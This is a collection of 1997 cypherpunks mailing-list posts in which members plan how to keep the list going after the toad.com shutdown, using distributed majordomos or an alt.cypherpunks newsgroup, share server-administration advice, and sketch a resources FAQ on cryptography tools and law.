> condoms in the U.S. and the Nixon administration made sure that each one was
> stamped "medium".

  Does any condom over 6" fall under the category, 'Munitions'?
-- 
Toto
-----------------------------
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 28 Feb 1997 13:50:19 -0800 (PST)
To: dlv@bwalk.dm.com
Subject: Re: Senate spams
In-Reply-To: <Do6T3D92w165w@bwalk.dm.com>
Message-ID: <199702282027.UAA00326@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Dimitri Vulis <dlv@bwalk.dm.com> writes:
> Adam Back <aba@dcs.ex.ac.uk> writes:
> > Personally I think you're allowing the bad feeling generated by the
> > [CENSORED] PR goofup over Dimitri's false criticisms to cloud your
> > usually good judgement.
> 
> Adam, before labeling my criticisms "false", have you examined the
> source code of the product in quesion to see if it's secure?

Well I have looked at SSLeay, and Ben Laurie's apache-SSL module which
is what StrongHold is based on, but not in any great detail, so I
shouldn't comment one way or another.

If you are suggesting there is a flaw, perhaps you could give some
hints on what the alleged flaw is, so that I could stand a chance of
refuting or confirming your claim, and so that if there is a flaw, it
can be fixed?

I, and I think many others, took your claim to be a PSYOP attempt to
cause a dilemma for Sandy.  If you really did find a flaw, well, lets
here it.  C2Net would owe you an apology.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 12 Feb 1997 06:11:20 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702121411.GAA19614@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Igor Chudov <ichudov@algebra.com> writes:
> so we have myself, Jim Choate, and you who colunteer to host
> mailing lists for the distributed cypherpunks.
> 
> I have already created majordomo@algebra.com and cypherpunks@algebra.com.
> 
> We can coordinate our efforts. Actually, we can even have a mini
> mailing list for people who want to participate in the distributed
> cypherpunks experiment. If there is any interest, I can create such 
> a list.

Please do.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 12 Feb 1997 06:11:26 -0800 (PST)
To: attila@primenet.com
Subject: Re: List! No Way: Creation of "alt.cypherpunks"
Message-ID: <199702121411.GAA19619@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Attila T Hun <attila@primenet.com> writes:
>     tim:  
> 
>     two points you make: 
> 
>     1.  the propogation is slow...
> 
>     2.  some sites do not carry alt. groups
> 
>     are enough to kill an active discussion list. of course, it does
>     slow down excessive volume.

Is there any offline newsreading software for linux?  (Something to
grab feeds from an NNTP server of selected newsgroups to put in
/usr/spool/news/, and something to queue posts for posting via NNTP
when on line)

(My difficulty with USENET groups is that we have pay per second phone
bills over here, and online USENET reading is inefficient, that plus
propogation delays).

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 12 Feb 1997 06:27:44 -0800 (PST)
To: SoftWinter <softwinter@post1.com>
Subject: Re: Shade Disk Encryptor for NT Registration key
Message-ID: <199702121427.GAA20009@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>SoftWinter Support
>softwinter@post1.com
>http://softwinter.bitbucket.co.il

Shade looks like an interesting product,
and anything that fits into 64K these days
(even if that is the size of the zip file) deserves some respect :-)

For cypherpunks - it's using MDC as its crypto algorithm,
with 160-bit SHA as the hash.  I can't tell if that's the original
SHA or the revised SHA-1.  The readme.txt is adapted from Peter
Gutmann's MDC documentation.   The demo version runs for 21 days,
and doesn't do encryption, so perhaps the real thing is a bit larger.
List price is $149 US.

I couldn't get it to run - I'm using NT 3.51, which you haven't tested
it on, rather than NT 4.0; it complained about not being able to find
Image_List_SetImageCnt in COMCTL32.dll or something like that.
Perhaps that's related to not having installation instructions with the demo?
there's a SecDisk.sys that looks like it wants something done with it...
Or perhaps it's just a 3.51 vs. 4.0 difference.  Oh, well...

	> Shade allows you to create encrypted disk device inside a file.
	> Such a device can then be formated using any file system
	> (like NTFS or FAT) and used as a regular disk. The only difference
	> is that Shade will encrypt the data on every write operation
	> and decrypt it on every read operation.

I assume it's possible to use this for TEMP directories for
applications like word processors.  I'm not sure I'd want to use
it for swap, but do you know if that would work?

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Tue, 11 Feb 1997 19:25:59 -0800 (PST)
To: Patrick May <gnu@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702120325.TAA05448@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>      - Is a pentium up to the task of running a list of this size and
>        volume?

A pentium is definitely up to this task.  I've been running it the
whole time on a slower 40MB SPARCstation-2 (that also runs netnews and
general computing).  Give it a big /var/spool partition (mine is 60MB)
because every message will sit in the queue for days (*somebody* on
the list will have an unreachable name server or MX server until the
msg times out).  Give it lots of RAM and paging space, since each
sendmail process takes about 2MB virtual, 1.4MB physical, and you will
have dozens running at the same time.

The new version of majordomo (that allows confirmation of
subscriptions) will help a lot.  It needs a small patch though, to do
exponential backoff on the lock file, or when you get a flood of
messages, thirty majordomo processes will burn up the whole machine
trying and failing to get the lock file.

You'll need a BIG mailbox for the bounce messages, and someone (or
some unwritten software) to scan it every day or two and delete the
lusers whose mailboxes are full or who dumped their account without
unsubscribing.  The bounce mailbox on toad gets between 1 and 4MB of
email a day; more when the list is under attack.

You'll want to run the latest version of BIND on the machine, too,
since doing DNS name-lookups on a thousand email addresses is expensive.
You want them all in the in-memory cache on the same machine.  The
name daemon burns about 7MB virtual, 5MB real RAM once its cache
gets loaded.

Make sure that every message sent to the list gets into at least
two logfiles -- on separate partitions, in case one fills up.  At
least if you want to have an archive of what's been sent.

>      I can provide a pentium box running Linux with a T1 connection to
> MAE-West to host the list, if there is still interest.

Make sure you are getting "transit" service to the Internet, instead
of trying to cheap out with "peering" to a few major networks.
Without transit service ("we'll carry your packets to anywhere even if
the destination is not on our network") you won't be able to route
packets to some places on the net.  This will cause mail to those
subscribers to sit in the queue for days and then bounce.

The real issue is how willing you are to put your own time into
dealing with problems.  Not only do things go wrong by themselves, but
there are malicious assholes in the world who will deliberately make
trouble for you just because they like to.  Spending a day or two
cleaning up the mess is just part of the job.  Check your level of
committment two or three times before taking on the task -- so you
won't end up getting disgusted after a month or two and putting the
list's existence into crisis again.  It's not a "set it up and forget
it" kind of operation.

	John





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 11 Feb 1997 22:48:03 -0800 (PST)
To: Peter Hendrickson <pdh@best.com>
Subject: Re: Network of majordomos
Message-ID: <199702120648.WAA07947@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:08 PM 2/11/97 -0800, Peter Hendrickson wrote:
>At 1:09 PM 2/11/1997, Greg Broiles wrote:
>>At 10:45 AM 2/11/97 -0600, Firebeard wrote:
>>> [...] I've already taken steps, along with Jim Choate, to
>>> start a network of majordomos hosting a Cypherpunks mailing list.
>>> [...] Our intention is to have a set of majordomos which
>>> are intersubscribed to a cypherpunks list on each one, with measures
>>> taken to ensure that mail loops don't develop.
>
>> I still think you're just rediscovering Usenet technology....
>
>> And, if you must, run mail-to-news gateway(s) which send the newsgroup to
>> people who want it as E-mail.
>
>> Usenet technology does exactly what you're describing:...
>
>How about this?  The people who like Usenet should race ahead and set
>it up.  The people who like networks of majordomos should race ahead
>and set those up.  Just so long as the tracks meet somewhere in Utah.

As I understand the creation process for an alt. group, someone posts a
proposal to alt.config explaining what's being proposed, waits a week or so
to see if there's a general sense of approval or disapproval or [...] and
then they send a newgroup control message. Individual systems will choose
to add the new group, or not, depending on local policy, administrator
whim, and so forth.

I sent a proposal to alt.config last night (a few hours before I got John's
message indicating that the list is going away, so I wasn't able to include
that fact in my message; it was also ~ 10 hours before I saw Tim's message
re alt.cypherpunks so I was unable to include his more useful statement of
the group's purpose) and intend to newgroup alt.cypherpunks in a week or
so, absent a clear indication from the people in alt.config that it would
be rmgroup'ed or otherwise have a poor chance of success. I don't think a
"charter" is especially necessary or useful in the alt. hierarchy.

One feature of the "alt." groups is that there's no real control over what
happens there. If someone creates a one-way or two-way gateway between one
or more mailing lists and alt.cypherpunks, there's nothing anyone else can
do about it. (modulo cancelbunny/NoCeM, both of which are optionally
honored on a site-by-site basis)

So, the tracks will meet in Utah if someone decides to hook them up.
Perhaps this will be you?

As far as I'm concerned, nobody owns the word "cypherpunks" and we're all
free to use it in any way we please - e.g., Igor can suggest
"comp.org.cypherpunks", eight people can run "cypherpunks@foo.com" mailing
lists, and so forth. Looking for one unified acceptable-to-everyone
solution is pointless on this list. Let "n" flowers bloom.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Wed, 12 Feb 1997 06:10:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks Distributed Remailer
Message-ID: <199702121410.GAA19543@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi,

What is the current future of the Cypherpunks webpage? Will it continue to
be kept up or is it going down as well?


                                                        Jim Choate
                                                        CyberTects
                                                        ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 12 Feb 1997 06:46:31 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: List! No Way: Creation of "alt.cypherpunks"
Message-ID: <199702121446.GAA20539@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> At 7:11 PM +0000 2/11/97, Attila T. Hun wrote:
> >    two points you make:
> >    1.  the propogation is slow...
> >    2.  some sites do not carry alt. groups
> >    are enough to kill an active discussion list. of course, it does
> >    slow down excessive volume.

Good if all this is worked out in advance.  I'd like to add a couple
thoughts:

The freedom from temptation to interfere (censor, etc.) outweighs
the slowness.

The nature of the list (crypto) creates more paranoia than most
other lists, making the above even more important, with the
advantage being that there *should* be less noise than other forums
due to the technical nature of the discussion.

Thanks to the last couple of months, c-punks has now provided nearly
every example of what to look out for and plan for.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 12 Feb 1997 06:26:00 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Cypherpunks-related lists on toad.com
Message-ID: <199702121426.GAA19976@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi, John - thanks for supporting and putting up with us all these years.
How do you feel about continuing support for the cypherpunks-related
lists that are also on toad.com, coderpunks and cypherpunks-announce?

I'd guess that if we move the cypherpunks list to another machine,
rather than mutating it into alt.cypherpunks, the -announce list
should probably also move once the new list is working.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 12 Feb 1997 06:11:17 -0800 (PST)
To: Evil se7en <se7en@dis.org>
Subject: Re: Germany Versus Scientology
Message-ID: <199702121411.GAA19611@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Evil se7en wrote:
> I have posted a rather lengthy story about Germany's war against the
> Scientologists. It was long enough to preclude mailing it directly to the
> lists, so I have put it on my web site. You may find it at:

The L.A. Times ran a very impressive two-page article on this last
week.  The text compared the current steps by the German govt. to
the steps taken against Jews by the Nazi govt.

I happen to believe that Scientologists are dangerous, for how
quickly they can ruin someone's mental state.  But the article
is interesting for the comparisons....






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 06:42:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks Distributed Remailer
Message-ID: <199702121442.GAA20443@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Tue, 11 Feb 1997 19:18:46 -0600 (CST)
> From: ichudov@algebra.com
> Subject: Re: Moderation experiment almost over; "put up or shut up"

> John Gilmore wrote:
> > A pentium is definitely up to this task.  I've been running it the
> > whole time on a slower 40MB SPARCstation-2 (that also runs netnews and
> > general computing).  Give it a big /var/spool partition (mine is 60MB)
> > because every message will sit in the queue for days (*somebody* on
> > the list will have an unreachable name server or MX server until the
> > msg times out).  Give it lots of RAM and paging space, since each
> > sendmail process takes about 2MB virtual, 1.4MB physical, and you will
> > have dozens running at the same time.

My approach to this problem has been to use a 1G drive and mount the entire
file system on it. Swap and MS-Dos each get their own partitions. This
allows the use of the entire drive as a buffer. I am in the process of
adding another 1G in approx. two weeks with the intent of moving /home off
the main drive. This not only gives the system more space but the users as
well. I set swap to 4x main ram. I use Linux and have it as one giant
partition even though suggested is blocks of 16M, works for me (YMMV). Would
be minor to monitor df and alarm when it gets to 200M or something.

I must admit however that I am looking at a faster mbrd. and a bigger hard
drive in the immediate future to make up for the extra load I expect. Had
not really planned on the remailer project however...

> > You'll need a BIG mailbox for the bounce messages, and someone (or
> > some unwritten software) to scan it every day or two and delete the
> > lusers whose mailboxes are full or who dumped their account without
> > unsubscribing.  The bounce mailbox on toad gets between 1 and 4MB of
> > email a day; more when the list is under attack.

How about dumping the bounces to /dev/null? I shure don't care if some
bozo's (other than mine that is) mailbox goes away.

> > Make sure that every message sent to the list gets into at least
> > two logfiles -- on separate partitions, in case one fills up.  At
> > least if you want to have an archive of what's been sent.

I have no intention of acting as an archive. I personaly see that as a
'subscriber' issue. Potentialy even a business if the archive were suitably
databased. Of course with the distributed model any member is potentialy
capable of this.

> > >      I can provide a pentium box running Linux with a T1 connection to
> > > MAE-West to host the list, if there is still interest.

I would certainly be interested in your involvment with the Distributed
Remailer.

> > The real issue is how willing you are to put your own time into
> > dealing with problems.  Not only do things go wrong by themselves, but
> > there are malicious assholes in the world who will deliberately make
> > trouble for you just because they like to.  Spending a day or two
> > cleaning up the mess is just part of the job.  Check your level of
> > committment two or three times before taking on the task -- so you
> > won't end up getting disgusted after a month or two and putting the
> > list's existence into crisis again.  It's not a "set it up and forget
> > it" kind of operation.

I can verify this. If I was not already having to deal with these problem
as a current mailing list operator I certainly would not take on the
job. It is one of the reasons I STRONGLY suggest anyone serious about this
should use the resources to make money as well. Anyone capable of setting up
and operating such a remailer system is at least capable of basic skills.

> Another suggestion may be to set sendmail expire option to one day
> instead of five so that messages that cannot be delivered would bounce
> faster and not clog the queue.

I like this idea very much. Myself I would set it for like 4 hours or so and
if it couldn't be delivered then bye bye. Another motivation for selective
sites to operate as archives without themselves being remailers.

Another issue related to this is at what point to unsubscribe accounts. It
seems to me that if the address times out some number of times it should be
deleted.

Is anyone interested in acting as a mail-to-news gateway?



                                                     Jim Choate
                                                     CyberTects
                                                     ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Wed, 12 Feb 1997 06:13:08 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702121413.GAA19649@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 01:23 PM 2/11/97 -0600, ichudov@algebra.com wrote:
>linux with 16 MB ram will probably get you through.

I have that available on the current machine.  If no one else volunteers and
there is interest in continuing the list, I am willing to donate the services
of my machine.

It is running Redhat Linux 4.0 with 16 megs of ram (soon to be upgraded to 32
or 64 depending on cash) and 3.3 gigs of hard drive.  It is connected to the
net via a T-1.  Should be more than enough to run the list.

And, yes, i have run majordomo before...
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBMwFegeQCP3v30CeZAQEjuAf9HujkexOWErjLRt9cd1CtTo6IosU5UPxW
8ovctEooTql6ZPrAkdHWLATwFnInRdFBNRQeKPGCjdyS1U5VpXCDPrG24gs/BUdm
ZQLAT8UdCOiS//vb7IXXUeAgvKT4VciqEfw4Z9r9NawDWA0K93Q+d+5iQ5bYxE72
KmEQHseHL/x1mJZ4x3OlVdUmxdpFeFOmIlu3Ik1L372sRTNgM1r7m1psh6gnr6dp
mYIwEs3oG3gz0hwDV2FhdIg7O3xLBg80FWKufYylx2Z+3Ezm1wUArFTaFC4LwIvP
8cRGUucGd8GOanSIjaj8d72JQWgRIDRqtkWv9Tlz538n+SygJZBl9w==
=0SlX
-----END PGP SIGNATURE-----

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 12 Feb 1997 06:13:10 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: List for discussing many majordomos
Message-ID: <199702121413.GAA19650@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 06:59 PM 2/11/97 -0600, Igor Chudov @ home wrote:

>We can coordinate our efforts. Actually, we can even have a mini
>mailing list for people who want to participate in the distributed
>cypherpunks experiment. If there is any interest, I can create such 
>a list.

Yes, this is a good idea. One of the proponents of the "many majordomos"
project apparently has plans to impose his own ideas about intellectual
property on the project, and this seems like a pretty serious thing for a
setup that's allegedly going to prevent censorship. We need a place to
discuss this.


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMwFm8f37pMWUJFlhAQE4uQf/RfjKd++IRYJZyLPRqsh150098IgMY4oE
GITsrs9S4N/mCRzjPUYLDmDKmEkGlN3UilQsMVT7QiPA7vxpw3yvOgWEATXMRWo6
46BRFhKHbKupy6uVCbfrNiXRa76JSdWisxi9NzwJK7jmj5g8SsEJW1Z4pij5VYVJ
Ck4mVziejIE/uyQ4hzenbS2ZN+EEApoF5dxVbS5rvlk/HEcUxJMUvuoxXiVm+fFQ
gs59X/Yj4WtUCNb6STH89Qwdr2RdtK5yvqvP56cMNudIcdK28K/hiEXWtkCSueLu
XU1aa02TQMn/oA24iGYpUF9gnjsGgieIJSx7VB96uE9UsOg6i71mIA==
=ILiw
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 12 Feb 1997 06:26:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: List! No Way: Creati
Message-ID: <199702121426.GAA19999@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:attila@primenet.com to Harka <=-

 In> I vote we just set up a new majordomo with some additional
 In> antispam filters including knocking out exploding mail headers,
 In> etc. I would accept excluding non-members as long as we take the
 In> remailers which are listed with either JP or RL.

Were it possible to use Perry's PGPDomo, which would effectively
keep out at least the Spammers?

Perry? :)

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMv/y/zltEBIEF0MBAQEnBQf/UVcg/iFUtR3hMk2zrNwZmweqE4XA3cLy
ixfNNGoKO6cP0oUnSrqRoWW4LtMrHamMldBMXmFARmkh3joqgFZpzXSwCbiCSFtv
yN7tDOmfzvDfI4gRpohuc7ou3rMMlbjs/lZamJAV5iByE8Kh3/phcvOmb5u9zjWK
m/bcLsje39fLpIeMHL3y0jYf4Z5wyvb4dndBVeF+m50IguT9hVd3KZ4hza2XiKQr
zPkX1Y2uDW1vq9/m2Wd9PLxnio5hrbOuLHdVFzTUxcVBfnJjMB0rrexW3z/2KqJ8
4V0r3xZXqui5z6k55PQTrVZt9Hqb+zVDoDAAA/tzMfHpVU+MOnM3Xg==
=Jtwu
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: omegam@cmq.com
Date: Wed, 12 Feb 1997 06:42:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks-resources FAQ for alt.cypherpunks
Message-ID: <199702121442.GAA20451@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I am under the assumption that alt.cypherpunks or
alt.privacy.cypherpunks or some such will come into existence shortly.

With that in mind, I have decided to create a FAQ of pointers to
resources on cypherpunk issues.  The goal is to help eliminate the
"What is PGP?" and other newbie-questions that are bound to come up
even more frequently in a newsgroup scenario.

A FAQ such as this has probably long been appropriate, but it didn't
really occur to me until just now.  Not being a cryptologist or
adequate coder, this is one way I feel I can contribute.  It's hard to
have discussions when people haven't even looked at the background
information before piping in.  I don't pretend that a FAQ can prevent
this, but it's worth a shot anyway.

I started typing away about two hours ago and came up with the
following.  It's pretty shaky since it's late and it's Mardi Gras.
Feel free to comment in public or private.  Please, Please, Please
make suggestions and provide relevant pointers.  Obviously, I will be
doing a lot of research over the next few weeks to fill in this very
bare outline.

If you disagree with this or feel its useless... fine.  Please tell me
and explain all your reasons why.  Besides, I'm doing it regardless.

Here's what I'm chewing on so far....
-----------------------------------------------------------------------
			Cypherpunks Resources FAQ
			     version 0.000000001

This document lists resources for readers interested in Cypherpunk
issues and goals.   

The primary intention of this document is to get new readers to the
group to explore the background issues which cypherpunks attempt to
address.  It also includes pointers to many common cryptographic
implementations and tools.  Furthermore, pointers and instructions for
various mailreaders are provided to help users filter out some of
Usenet's inevitable noise and glean the most useful information they
can from this newsgroup.

This FAQ does not attempt to explictly define who the Cypherpunks are
or answer questions about the philosophy.  That is an exercise for the
reader who utilizes the pointers within to find the answers on their
own.  After exploring these resources, the hope is that the reader
will become a more effective and insightful contributor to
alt.cypherpunks -- even if he/she is opposed to the goals of the
group.

This FAQ is propagated monthly to alt.cypherpunks.  It can also be
obtained be sending email with the subject and/or body "get cpunks
faq" to omegam@cmq.com.  When information in the FAQ is updated, I
will also post a "what's new" message for those who are interested in
reading additions/corrections without wading throught the entire FAQ
again.


-------*********------- Author's Note/Disclaimer ---------*********--------- 

I maintain this FAQ solely on a voluntary basis.  I am doing this
because I think it is necessary.

It would be contrary to the anarchic nature of the Cypherpunks to
attempt to call this an official FAQ of the Cypherpunks group.  Anyone
who disagrees with the editing decisions and pointer selections I have
made in this FAQ is free to.

What this means is that you are encouraged to send comments,
suggestions, corrections, new questions, and answers to me.  I may or
may not include them in future revisions of the FAQ.  I do ask that
somewhere in the subject of your mail redarding this FAQ you include
the text "(CFAQ suggest)", so procmail can file such comments
appropriately and I can address them in a more efficient manner.  If I
use your suggestion or answer to a question, I will attribute the
reference to you unless you request that I do not.

You are free to create your own Cypherpunks-resources FAQ if you don't
like mine.

- Scott
_______________________________________________________________
 Omegaman <mailto:omegam@cmq.com>
  PGP Key fingerprint = 6D 31 C3 00 77 8C D1 C2
                        59 0A 01 E3 AF 81 94 63 
 Send e-mail with "get key" in the "Subject:" 
 field to get a copy of my public key
_______________________________________________________________

-------*********--------*********---------********--------*********------
 
Premliminary Outline

Section 1 Introduction and General Information?
Q1.1 Does this newsgroup have a charter (No but, Tim's "official" charter.
Eric's note at end of original toad.com welcome message)
Q1.2 How did the group get started?  (Need a brief history of group as
well as any pointers to early history information and posts, also
include pointer to early wired article)
Q1.3 What do Cypherpunks want? (May's Cyphernomicon, CSUA Berkely
site, Others?)
Q1.4 What happened to the toad.com mailing list?  Are there archives?
(Brief explanation, quote Gilmore's message? point to the usual
archives?  Note: check and note if arhive site still prevents IE
usage)
Q1.5 Are there other groups besides Cypherpunks who share these goals.
(point to Epic, EFF, etc sites which all have good archival
information on political crypto causes even if many cpunks have strong
disagreement with some of these groups.  also point to
Cryptography@c2.net and coderpunks lists)
Q1.6 What have the cypherpunks done to advance their goals other that
merely talk about them?(Pointers to anon remailers, Linux-IPSEC
project, Mykotronx scandal--really need a good pointer here, more.
Mention of course that many who call themselves cypherpunks are
professionals in the computer security field.)
Q1.7 Im interested, what can I do?  Pointers to current projects, i
distributed DES crack
Q1.8 Quick n' Dirty Glossary: ie. GAK, TLA, etc.

Section 2 Crypto in Action
Q2.1 Pointers galore to PGP resources.
Q2.2 Point to Schneir's site and include biblio info on Applied Crypto
Q2.2 Point to cryptlib toolkits
Q2.3 RSA, of course.
Q2.4 pointers to disk encryption utilities for various platforms
Q2.5 pointers to Raph's remailer site and other remailer info sites.
remailer software.  software to make remailer usage simpler
(premail, PIdaho)
Q2.6 pointers to the various digital cash purveyors and to
explanations of how Chaumian digital cash works.
Q2.7 pointers to Apache-SSL site and info, Stronghold, 
Q2.8 SSH
Q2.9 Pointers to sites describing how various types of crypto actually
work
Q3.0 But how do I know if it's good crypto?  Point to snake Oil FAQ?
Schneir's essay.  Use your brain.

Section 3 Crypto and the Law
Q3.1 Froomkin's site obviously.. John Young's also obvious.  EFF has a
good archive too.  Karn case, others.
Q3.2 Pointers to government's current position on crypto. ie. EAR, ITAR
Q3.3 Pointers past Clipper failure info.

Section 4 Who's who & (recent) History of Crypto.
Q4.1 A couple of good general history sites exist. also Codebreakers
bibliographical reference.
Q4.2 Enigma is a common question, point to relevant sites.
Q4.3 Whit Diffie--some interviews etc are available
Q4.4 Bruce Schneir same
Q4.5 Phil Z and PGP history and interviews.
Q4.6 Jim Bizdos
Q4.8 Dorothy Denning (go to include the enemy too)
Q4.7 Pointers to news on breaks of ciphers
Q4.8 NSA site.
(Others?  I'm getting sleepy, names escaping me at the moment)

Question 5 Help! I want to know more but I'm drowning in noise
Q5.1 Point to filtered lists in existence
Q5.2 news2mail gateways as source of list.  mail filtering tools come
into good use.  point to a bunch of them.
Q5.3 Point to kill-file info for various newsreaders and platforms.
Possibly include generic examples from own experience and list user's
experience who wish to contribute.  Specific names will be ommitted of
course.  Also score information for those interested
Q5.4 point to information on other utilities and verification-type schemes



_______________________________________________________________
 Omegaman <mailto:omegam@cmq.com>
  PGP Key fingerprint = 6D 31 C3 00 77 8C D1 C2
                        59 0A 01 E3 AF 81 94 63 
 Send e-mail with "get key" in the "Subject:" 
 field to get a copy of my public key
_______________________________________________________________






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Wed, 12 Feb 1997 06:11:33 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Germany Versus Scientology
Message-ID: <199702121411.GAA19622@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Evil se7en <se7en@dis.org> writes:
> I have posted a rather lengthy story about Germany's war against the 
> Scientologists. It was long enough to preclude mailing it directly to the 
> lists, so I have put it on my web site. You may find it at:
> 
>         http://www.dis.org/se7en/
> 
> with the link being directly under the large "X." I decided to post it 
> for the reasons that I know several people who suffered directly at the 
> hands of the Scientologists after trying to infiltrate their organization 
> via the Internet. These people will recieve this message due to this 
> posting. Enjoy.

Heh, the top German Gov't anti-$cientoligist:
"The state is obliged to protect its citizens from totalitarian
 organizations."

I just love this whole thing. It's like two neighborhood bullies going
at it in the school yard. It doesn't matter who wins, as long as it's
long and bloody.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQB1AwUBMwFSnckz/YzIV3P5AQH/DwL/aX8VIWcSo7JqQuxL3EgyqOnOyYikRlTh
irV8YtXhDlsqbVaZDIPoweE5viibrR0ZrfuCqRm4oClGRvttSJdPxTN5iY5ry+HQ
